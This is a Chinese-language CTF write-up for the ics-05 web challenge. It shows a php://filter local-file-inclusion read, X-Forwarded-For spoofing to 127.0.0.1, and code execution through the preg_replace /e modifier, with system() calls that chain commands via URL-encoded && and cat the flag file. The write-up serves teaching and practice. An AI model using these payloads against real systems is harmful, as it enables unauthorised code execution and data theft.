攻防世界web进阶ics-05 wp

攻防世界web进阶区ics-05 wp

题目网站


根据题目提示选择设备维护中心,或者简单粗暴的全都点一遍,发现也只有设备维护中心能点开

打开后 F12 调网页源码 查看后发现
攻防世界web进阶ics-05 wp_第1张图片
?page=index 有page这个get参数
自然联想到可能存在利用文件包含读取网页源码的漏洞
这里给出利用php内置filter协议读取文件的代码

?page=php://filter/read=convert.base64-encode/resource=index.php

利用网页中自带的page传参漏洞?page=
代码的后半段参考另一个博主对于LFI读取php源码的解释
点这查看解释

查看网页得到base64加密后的代码

攻防世界web进阶ics-05 wp_第2张图片
放到base64解密里得到php代码


if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "
Welcome My Admin !
"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); }

代码审计得

(1)需要在html的头格式中伪造 IP : 127.0.0.1

这里用burpsuite伪造IP
攻防世界web进阶ics-05 wp_第3张图片
出现 Welcome My Admin! 证明伪造成功

(2)接下来是最关键的利用preg_replace()函数的/e漏洞进行代码执行

首先简单介绍一下preg_replace()函数

preg_replace($pattern, $replacement, $subject)
作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。
$pattern:       要搜索的模式,可以是字符串或一个字符串数组。
$replacement:   用于替换的字符串或字符串数组。
$subject:       要搜索替换的目标字符串或字符串数组。

接着关于/e漏洞

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向
引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,
否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

也就是说只要在subject中有要搜索的pattern的内容,同时将在replacement前加上/e,触发/e漏洞,就可以执行replacement中的正确的php代码

后面就是利用这个漏洞去进行文件读取,找到关于flag的线索

第一步尝试使用 system(“ls”) 获取文件目录
攻防世界web进阶ics-05 wp_第4张图片
成功读取文件目录,同时发现目录下的 s3chahahaDir 文件的名字很可疑
想到进入该文件中查看内容

第二步 cd 到 s3chahahaDir 这个文件夹下查看内容
cd命令为 system("cd%20s3chahahaDir%26%26%20ls")
解释一下,%20代表空格,%26%26就是&&代表当前面命令执行成功时,继续执行后面的命令,读取s3chahahaDir文件夹内容。于是有
攻防世界web进阶ics-05 wp_第5张图片
发现flag文件,猜想大概率正确
再使用刚刚的 cd命令 system("cd%20s3chahahaDir/flag%26%26%20ls")
查看flag文件的内容
攻防世界web进阶ics-05 wp_第6张图片
发现flag.php
最后使用cat命令读取flag.php中的内容
命令代码:system("cat%20s3chahahaDir/flag/flag.php")
得到flag
攻防世界web进阶ics-05 wp_第7张图片

知识点总结:

(1)利用php内置filter协议读取文件的代码
(2)伪造IP
(3)preg_replace()函数的/e漏洞
(4)正确的php system()函数的书写

你可能感兴趣的:(攻防世界web进阶ics-05 wp)